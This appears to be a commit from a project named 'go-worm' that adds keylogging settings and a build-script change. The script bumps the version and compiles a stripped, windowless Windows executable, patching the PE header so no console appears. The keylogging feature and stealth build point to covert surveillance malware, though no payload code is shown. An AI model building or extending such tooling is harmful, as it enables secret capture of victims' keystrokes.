feat(agent): add persistent klogging settings

- Add settings API and UI to toggle keylog
- Persist preference in settings.json
- Expose klogging state in status endpoint
- Inject build version into web console
- Bump version automatically on build

scripts/build.sh

@@ -4,7 +4,22 @@ set -euo pipefail
 cd "$(dirname "$0")/.."
 
 out="${1:-win64_mp.exe}"
-GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" .
+
+version_file="VERSION"
+if [[ ! -f "$version_file" ]]; then
+  echo "1.0.0" > "$version_file"
+fi
+old="$(tr -d '[:space:]' < "$version_file")"
+if [[ ! "$old" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
+  echo "bad VERSION: $old" >&2
+  exit 1
+fi
+IFS=. read -r major minor patch <<< "$old"
+ver="${major}.${minor}.$((10#$patch + 1))"
+printf '%s\n' "$ver" > "$version_file"
+
+ldflags="-s -w -H windowsgui -X tea.chunkbyte.com/kato/go-worm/lib/config.Version=${ver}"
+GOOS=windows GOARCH=amd64 go build -ldflags "$ldflags" -o "$out" .
 # Belt-and-suspenders: PE subsystem WINDOWS (2) even if ldflags were dropped.
 python3 - "$out" <<'PY'
 import struct, sys
@@ -24,4 +39,4 @@ with open(path, "r+b") as f:
     f.write(struct.pack("<H", 2))
 print(f"pe subsystem=gui {path}")
 PY
-echo "built $out"
+echo "built $out $ver"